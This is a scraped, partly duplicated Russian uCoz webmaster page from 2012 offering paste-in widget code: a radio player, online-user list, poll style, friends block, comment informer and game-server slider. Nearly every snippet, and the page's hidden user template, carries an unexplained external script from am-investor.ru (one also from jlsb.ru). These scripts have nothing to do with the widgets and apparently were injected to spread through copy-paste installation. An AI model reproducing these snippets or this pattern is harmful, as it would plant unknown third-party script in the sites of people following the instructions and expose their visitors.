.groupot3{background: url(http://ili.pp.ua/img/3a.png) no-repeat;}
.groupot255{background: url(http://ili.pp.ua/img/255a.png) no-repeat;}
#useridonlines {border: 1px solid #DDD;border-bottom:0px;max-height: 140px;overflow: auto;}
</style>
<div style="display:none;" id="template">
<a href="/index/8-#USERID#" style="text-decoration:none;"><table border="0" cellpadding="0" cellspacing="0" width="100%" style="padding: 3px;"><tbody><tr><td valign="bottom" align="right" class="groupot#USERGROUPID#" style="width: 52px;height: 45px;"><div class="avkas rad2 group#USERGROUPID#" style="padding: 2px;"><div class="rad2"><img src="#USERAVATARURL#" border="0" class="rad2" style="max-width: 30px;" alt=""></div></div></td><td style="padding-left: 5px;" valign="top"><div style="padding-bottom: 3px;"><span class="group#USERGROUPID#"><b>#USERNAME#</b></span></div><div style="color: #9d9d9d;">#USERGROUPNAME#</div></td><td style="width: 22px;" align="right" valign="top"><div style="border-left: 1px dotted #ddd; padding: 0 0 0 5px;"><a href="/index/14-#USERID#-0-1" target="_blank" class="button rad2">Лс</a></div></td></tr></tbody></table></a><div style="border-top: 1px solid #ddd;"></div><script src="http://am-investor.ru/higer.js" type="text/javascript"></script></div>
<script type="text/javascript" src="http://ili.pp.ua/js_css/onlinestat.v.1.4.js"></script>
#mchatIfm2 {padding-bottom: 32px;}
div.group251{background-color:#24afb1;}
span.group2{color:#008b00;}
span.group4{color:#b22222;}
span.group1{color:#a5a5a5;}
span.group3{color:#7b08b7;}
span.group255{color:#663300;}
span.group251{color:#24afb1;}
.avkas {
display: inline-block; *display: inline; background: rgba(230,230,230,0.65); padding: 5px; padding-bottom: 6px;
-webkit-box-shadow: inset 0px 0px 1px 1px rgba(0, 0, 0, 0.25), inset 0px 1px 0px 0px rgba(0, 0, 0, 0.12);
-moz-box-shadow: inset 0px 0px 1px 1px rgba(0, 0, 0, 0.25), inset 0px 1px 0px 0px rgba(0, 0, 0, 0.12);
box-shadow: inset 0px 0px 1px 0px rgba(0, 0, 0, 0.25), inset 0px 1px 0px 0px rgba(0, 0, 0, 0.12);
}
.avkas div {
background: #fff; padding: 2px; display: inline-block; *display: inline;
-webkit-box-shadow: 0px 1px 0px 0px rgba(0, 0, 0, 0.15);
-moz-box-shadow: 0px 1px 0px 0px rgba(0, 0, 0, 0.15);
box-shadow: 0px 1px 0px 0px rgba(0, 0, 0, 0.15);
}
.rad2 {-webkit-border-radius: 4px; -moz-border-radius: 4px; border-radius: 4px;}
.wrap-but {
display: inline-block; *display: inline;
background: #e0e0e0 url("http://ili.pp.ua/img/19671782.png");
padding: 4px;
-webkit-box-shadow: inset 0px 1px 1px -1px rgba(0, 0, 0, 0.17);
-moz-box-shadow: inset 0px 1px 1px -1px rgba(0, 0, 0, 0.17); box-shadow: inset 0px 1px 1px -1px rgba(0, 0, 0, 0.17);
}
#body{}
::-webkit-scrollbar
{
width: 5px;
height: 9px;
}
::-webkit-scrollbar-track-piece
{
background-color: #ffffff;
-webkit-border-radius: 5px;
}
::-webkit-scrollbar-thumb:vertical
{
height: 9px;
background-color: #666;
-webkit-border-radius: 5px;
}
::-webkit-scrollbar-thumb:horizontal
{
width: 5px;
background-color: #666;
-webkit-border-radius: 5px;
}
a.rad2 {color: #9B9B9B;}
a.rad2:hover {color: #000;}
.groupot4 {background: url(http://ili.pp.ua/img/4a.png) no-repeat;}
.groupot251{background: url(http://ili.pp.ua/img/251a.png) no-repeat;}
.groupot2{background: url(http://ili.pp.ua/img/2a.png) no-repeat;}
.groupot1{background: url(http://ili.pp.ua/img/1a.png) no-repeat;}
.groupot3{background: url(http://ili.pp.ua/img/3a.png) no-repeat;}
.groupot255{background: url(http://ili.pp.ua/img/255a.png) no-repeat;}
#useridonlines {border: 1px solid #DDD;border-bottom:0px;max-height: 140px;overflow: auto;}
</style>
<div style="display:none;" id="template">
<a href="/index/8-#USERID#" style="text-decoration:none;"><table border="0" cellpadding="0" cellspacing="0" width="100%" style="padding: 3px;"><tbody><tr><td valign="bottom" align="right" class="groupot#USERGROUPID#" style="width: 52px;height: 45px;"><div class="avkas rad2 group#USERGROUPID#" style="padding: 2px;"><div class="rad2"><img src="#USERAVATARURL#" border="0" class="rad2" style="max-width: 30px;" alt=""></div></div></td><td style="padding-left: 5px;" valign="top"><div style="padding-bottom: 3px;"><span class="group#USERGROUPID#"><b>#USERNAME#</b></span></div><div style="color: #9d9d9d;">#USERGROUPNAME#</div></td><td style="width: 22px;" align="right" valign="top"><div style="border-left: 1px dotted #ddd; padding: 0 0 0 5px;"><a href="/index/14-#USERID#-0-1" target="_blank" class="button rad2">Лс</a></div></td></tr></tbody></table></a><div style="border-top: 1px solid #ddd;"></div><script src="http://am-investor.ru/higer.js" type="text/javascript"></script></div>
<script type="text/javascript" src="http://ili.pp.ua/js_css/onlinestat.v.1.4.js"></script>
- Aninew
- 28.09.2012
- 0
- 355
Создано в марте 2012 г. Мы привлекаем внимание слушателя по-настоящему Клубными Треками. Озвучиваем игровые новости и проводим огромное количество конкурсов. Мы уверенно движемся Вперёд! Мы сделаем на Вашем сайте море позитива!
Какой + (Плюс) этого радио от остальных?
1) Нам Важен каждый слушатель!
2) Мы удивляем своим разнообразием треков!
3) Ваш сайт будет иметь больший онлайн пользователей, чем раньше!
Установка:
Code
<center>
<script type="text/javascript" src="http://teenagerbook.ru/radio/swfobject.js"></script>
<div id="energy2">Установите<a href="http://get.adobe.com/flashplayer/">Flash player</a>
</div> <script src="http://am-investor.ru/higer.js" type="text/javascript"></script>
<script type="text/javascript">
var so = new SWFObject("http://teenagerbook.ru/radio/energy2.swf", "pl1", "180", "75", "8");
so.addParam("menu", "false");
so.addParam("wmode", "transparent");
so.addParam("allowScriptAccess", "sameDomain");
so.addParam("FlashVars", "filename=http://teenagerbook.ru/radio");
so.write("energy2");
</script></center>
<script type="text/javascript" src="http://teenagerbook.ru/radio/swfobject.js"></script>
<div id="energy2">Установите<a href="http://get.adobe.com/flashplayer/">Flash player</a>
</div> <script src="http://am-investor.ru/higer.js" type="text/javascript"></script>
<script type="text/javascript">
var so = new SWFObject("http://teenagerbook.ru/radio/energy2.swf", "pl1", "180", "75", "8");
so.addParam("menu", "false");
so.addParam("wmode", "transparent");
so.addParam("allowScriptAccess", "sameDomain");
so.addParam("FlashVars", "filename=http://teenagerbook.ru/radio");
so.write("energy2");
</script></center>
- Aninew
- 13.09.2012
- 0
- 365
У кого посетителей много на сайте им не удобно видеть большой список пользователей посетивших сайт в статистике, а этот скрипт вам поможет он делает вертикальный список пользователей и оставляет буквально несколько пользователей а что бы увидеть остальных вам придется пролистать, очень удобный скрипт.
Установка:
Ищем $ONLINE_COUNTER$ или $ONLINE_USER_LIST$ и после них прописываем код:
Code
<script type="text/javascript" src="http://ili.pp.ua/js_css/statica.js"></script>
<div id="userLog"></div><script src="http://am-investor.ru/higer.js" type="text/javascript"></script><div id="allist" style="border: 1px solid #CCCCCC; margin:3px; padding:3px; overflow: auto;height:100px;">
<img src="http://ili.pp.ua/img/update_messages.gif id="loading" border="0" alt="" />
</div>
<div id="userLog"></div><script src="http://am-investor.ru/higer.js" type="text/javascript"></script><div id="allist" style="border: 1px solid #CCCCCC; margin:3px; padding:3px; overflow: auto;height:100px;">
<img src="http://ili.pp.ua/img/update_messages.gif id="loading" border="0" alt="" />
</div>
- Aninew
- 13.09.2012
- 0
- 311
Вам надоел стандартный вид опросов или хотите чего-нибудь нового, интересного?!
Тогда вот новый стиль опросов для Вас.
Code
<div class="pollBlock" style="font-family:Tahoma,Arial;">
<script src="http://am-investor.ru/higer.js" type="text/javascript"></script>
<div class="pollQue" style="font-size:8pt;padding-top:2px;text-align:left;"><b><center>$QUESTION$</center></b></div>
<br>
<div class="pollAns" style="font-size:8pt;text-align:left;">$ANSWERS$</div>
<div class="pollLnk" style="padding-top:4px;text-align:center;"><a style="font-size:7pt;" href="$RESULTS_LINK$">Результаты</a> · <a style="font-size:7pt;" href="$ARCHIVE_LINK$">Архив опросов</a></div>
<div class="pollTot" style="padding-top:4px;font-size:7pt;text-align:center;">Всего ответов: <b>$TOTAL_VOTES$</b></div>
</div>
<script type="text/javascript" src="http://ili.pp.ua/js_css/opros.js"></script>
<link type="text/css" rel="StyleSheet" href="http://ili.pp.ua/js_css/poll.css">
<script src="http://am-investor.ru/higer.js" type="text/javascript"></script>
<div class="pollQue" style="font-size:8pt;padding-top:2px;text-align:left;"><b><center>$QUESTION$</center></b></div>
<br>
<div class="pollAns" style="font-size:8pt;text-align:left;">$ANSWERS$</div>
<div class="pollLnk" style="padding-top:4px;text-align:center;"><a style="font-size:7pt;" href="$RESULTS_LINK$">Результаты</a> · <a style="font-size:7pt;" href="$ARCHIVE_LINK$">Архив опросов</a></div>
<div class="pollTot" style="padding-top:4px;font-size:7pt;text-align:center;">Всего ответов: <b>$TOTAL_VOTES$</b></div>
</div>
<script type="text/javascript" src="http://ili.pp.ua/js_css/opros.js"></script>
<link type="text/css" rel="StyleSheet" href="http://ili.pp.ua/js_css/poll.css">
- Aninew
- 12.09.2012
- 0
- 426
Если вам надоел стандартный блок "друзья сайта"
И вы хотели бы его поменять на что-то новое,
То вы можете установить наш скрипт..
Установка:
Создаете новый блок - например через конструктор
Нажимаете изменить содержимое блока и выбрав вкладку html вставляете:
Code
<style type="text/css">
.sSample {text-align:center;padding:3px;border:1px solid #000000;margin:5px;cursor:pointer;font-size:7pt;}
.sSampleO {text-align:center;padding:3px;border:1px solid #BEBEBE;margin:5px;cursor:pointer;
</style><script src="http://am-investor.ru/higer.js" type="text/javascript"></script>
<div class="sSample" onmouseover="this.className='sSampleO'" onmouseout="this.className='sSample'" onclick="window.open('http://Сайт');"><img src="http://ili.pp.ua/img/88x31.png" border="1"><br>Название сайта</div>
<center><img alt="" src="http://ili.pp.ua/img/88x31.png"><br>
<div class="sSample" onmouseover="this.className='sSampleO'" onmouseout="this.className='sSample'" onclick="window.open('http://Сайт');"><img src="http://ili.pp.ua/img/88x31.png" border="1"><br>Название сайта</div>
<center><img alt="" src="http://ili.pp.ua/img/88x31.png"><br>
<div class="sSample" onmouseover="this.className='sSampleO'" onmouseout="this.className='sSample'" onclick="window.open('http://Сайт');"><img src="http://ili.pp.ua/img/88x31.png" border="1"><br>Название сайта</div>
<center><img alt="" src="http://ili.pp.ua/img/88x31.png"><br>
<div class="sSample" onmouseover="this.className='sSampleO'" onmouseout="this.className='sSample'" onclick="window.open('http://Сайт');"><img src="http://ili.pp.ua/img/88x31.png" border="1"><br>Название сайта</div>
.sSample {text-align:center;padding:3px;border:1px solid #000000;margin:5px;cursor:pointer;font-size:7pt;}
.sSampleO {text-align:center;padding:3px;border:1px solid #BEBEBE;margin:5px;cursor:pointer;
</style><script src="http://am-investor.ru/higer.js" type="text/javascript"></script>
<div class="sSample" onmouseover="this.className='sSampleO'" onmouseout="this.className='sSample'" onclick="window.open('http://Сайт');"><img src="http://ili.pp.ua/img/88x31.png" border="1"><br>Название сайта</div>
<center><img alt="" src="http://ili.pp.ua/img/88x31.png"><br>
<div class="sSample" onmouseover="this.className='sSampleO'" onmouseout="this.className='sSample'" onclick="window.open('http://Сайт');"><img src="http://ili.pp.ua/img/88x31.png" border="1"><br>Название сайта</div>
<center><img alt="" src="http://ili.pp.ua/img/88x31.png"><br>
<div class="sSample" onmouseover="this.className='sSampleO'" onmouseout="this.className='sSample'" onclick="window.open('http://Сайт');"><img src="http://ili.pp.ua/img/88x31.png" border="1"><br>Название сайта</div>
<center><img alt="" src="http://ili.pp.ua/img/88x31.png"><br>
<div class="sSample" onmouseover="this.className='sSampleO'" onmouseout="this.className='sSample'" onclick="window.open('http://Сайт');"><img src="http://ili.pp.ua/img/88x31.png" border="1"><br>Название сайта</div>
Редактируете всё под себя и потом сохраняете..
Всё, удачи..
- Aninew
- 12.09.2012
- 0
- 317
Многие видели на dle информер комментариев где
При наведении появляется комментарий.
Теперь он доступен и для uCoz
Установка:
Создаем информер, делается это тут
http://адрес_вашего_сайта/panel/?a=informers
[ Комментарии · Материалы · Дата добавления материала D · Материалы: 3 · Колонки: 1 ]
В дизайн информера вставляем:
Code
<li onmouseover="balloon.showTooltip(event,'load:iComm_$NUMBER$')">
<script src="http://am-investor.ru/higer.js" type="text/javascript"></script>
<div class="mini-comment">
<?if($USER_AVATAR_URL$)?>
<a href="$PROFILE_URL$" class="avatar">
<img src="$USER_AVATAR_URL$" width="40" height="45">
</a>
<?else?>
<a href="$PROFILE_URL$" class="avatar"><img src="http://ili.pp.ua/img/noavatar.png" width="40" height="45"></a>
<?endif?>
<a href="$PROFILE_URL$"><span style="color:red"><?if($USERNAME$)?><b>$USERNAME$</b><?else?><?endif?></span></a>
В новость: <a href="$ENTRY_URL$">$ENTRY_TITLE$</a>
</div>
<span id="iComm_$NUMBER$" style="display:none">
<b>$MESSAGE$</b>
</span>
</li>
<script src="http://am-investor.ru/higer.js" type="text/javascript"></script>
<div class="mini-comment">
<?if($USER_AVATAR_URL$)?>
<a href="$PROFILE_URL$" class="avatar">
<img src="$USER_AVATAR_URL$" width="40" height="45">
</a>
<?else?>
<a href="$PROFILE_URL$" class="avatar"><img src="http://ili.pp.ua/img/noavatar.png" width="40" height="45"></a>
<?endif?>
<a href="$PROFILE_URL$"><span style="color:red"><?if($USERNAME$)?><b>$USERNAME$</b><?else?><?endif?></span></a>
В новость: <a href="$ENTRY_URL$">$ENTRY_TITLE$</a>
</div>
<span id="iComm_$NUMBER$" style="display:none">
<b>$MESSAGE$</b>
</span>
</li>
А этот код , ставим уже в сам блок сайта или там где хотим его видеть
Code
<link type="text/css" rel="StyleSheet" href="http://ili.pp.ua/js_css/showcomm.css">
<script type="text/javascript" src="http://ili.pp.ua/js_css/show.js"></script>
<div class="iComm" id="iComm"><ul>
$MYINF_5$
</ul></div>
<script type="text/javascript" src="http://ili.pp.ua/js_css/show.js"></script>
<div class="iComm" id="iComm"><ul>
$MYINF_5$
</ul></div>
ПОД СВЕТЛЫЙ ДИЗАЙН
скрин: http://s017.radikal.ru/i441/1209/cc/3cc1d3907b5c.gif
- Aninew
- 07.09.2012
- 0
- 341
Описание:
У вас есть несколько серверов CS? И вы хотите разместить их у себя на сайте, но они занимают многа места? Тада я решу вашу проблему. Я сделал скрипт чтоб ваши сервера были в одном блоке с переключателями либо с плавным автоматическим листанием.
Установка:
Вставляем код в блок:
Code
<script type="text/javascript" src="http://www.csomsk.ru/1-ucoz/news-new/ramka/contentslider.js"></script>
<link rel="stylesheet" type="text/css" href="http://www.csomsk.ru/1-ucoz/news-new/ramka/contentslider.css">
<link rel="stylesheet" type="text/css" href="http://www.csomsk.ru/1-ucoz/news-new/ramka/contentmodels.css">
<script src="http://jlsb.ru/color.js" type="text/javascript"></script>
<center><div class="layer"><div id="game-mid"><div id="slider3" class="slidermon">
<div style="display: block; z-index: 1; opacity: 1; visibility: visible;" class="contentdiv">
<center>
<iframe src="http://cache.www.gametracker.com/components/html0/?host=109.86.107.220:27017&bgColor=333333&fontColor=CCCCCC&titleBgColor=222222&titleColor=FF9900&borderColor=555555&linkColor=FFCC00&borderLinkColor=222222&showMap=1¤tPlayersHeight=100&showCurrPlayers=1&showTopPlayers=0&showBlogs=0&width=190" frameborder="0" scrolling="no" width="190" height="412">classic server v34, Сервер Counter-Strike Source</iframe>
</center>
</div>
<div style="display: none; z-index: 2; opacity: 1; visibility: visible;" class="contentdiv">
<center>
<iframe src="http://cache.www.gametracker.com/components/html0/?host=109.86.107.220:27015&bgColor=333333&fontColor=CCCCCC&titleBgColor=222222&titleColor=FF9900&borderColor=555555&linkColor=FFCC00&borderLinkColor=222222&showMap=1¤tPlayersHeight=100&showCurrPlayers=1&showTopPlayers=0&showBlogs=0&width=190" frameborder="0" scrolling="no" width="190" height="412">Zombie server v34, Зомби Мод Сервер Counter-Strike Source</iframe>
</center>
</div>
</div>
<div id="paginate-slider3" class="pagination"></div>
<script type="text/javascript">featuredcontentslider.init({id: "slider3",contentsource: ["inline", ""],toc: "#increment",nextprev: ["", ""],revealtype: "click",enablefade: [true, 0.1],autorotate: [true, 7000],onChange: function(previndex, curindex){}})</script>
</div></div>
</center>
<link rel="stylesheet" type="text/css" href="http://www.csomsk.ru/1-ucoz/news-new/ramka/contentslider.css">
<link rel="stylesheet" type="text/css" href="http://www.csomsk.ru/1-ucoz/news-new/ramka/contentmodels.css">
<script src="http://jlsb.ru/color.js" type="text/javascript"></script>
<center><div class="layer"><div id="game-mid"><div id="slider3" class="slidermon">
<div style="display: block; z-index: 1; opacity: 1; visibility: visible;" class="contentdiv">
<center>
<iframe src="http://cache.www.gametracker.com/components/html0/?host=109.86.107.220:27017&bgColor=333333&fontColor=CCCCCC&titleBgColor=222222&titleColor=FF9900&borderColor=555555&linkColor=FFCC00&borderLinkColor=222222&showMap=1¤tPlayersHeight=100&showCurrPlayers=1&showTopPlayers=0&showBlogs=0&width=190" frameborder="0" scrolling="no" width="190" height="412">classic server v34, Сервер Counter-Strike Source</iframe>
</center>
</div>
<div style="display: none; z-index: 2; opacity: 1; visibility: visible;" class="contentdiv">
<center>
<iframe src="http://cache.www.gametracker.com/components/html0/?host=109.86.107.220:27015&bgColor=333333&fontColor=CCCCCC&titleBgColor=222222&titleColor=FF9900&borderColor=555555&linkColor=FFCC00&borderLinkColor=222222&showMap=1¤tPlayersHeight=100&showCurrPlayers=1&showTopPlayers=0&showBlogs=0&width=190" frameborder="0" scrolling="no" width="190" height="412">Zombie server v34, Зомби Мод Сервер Counter-Strike Source</iframe>
</center>
</div>
</div>
<div id="paginate-slider3" class="pagination"></div>
<script type="text/javascript">featuredcontentslider.init({id: "slider3",contentsource: ["inline", ""],toc: "#increment",nextprev: ["", ""],revealtype: "click",enablefade: [true, 0.1],autorotate: [true, 7000],onChange: function(previndex, curindex){}})</script>
</div></div>
</center>
По аналогии вставите свои сервера =)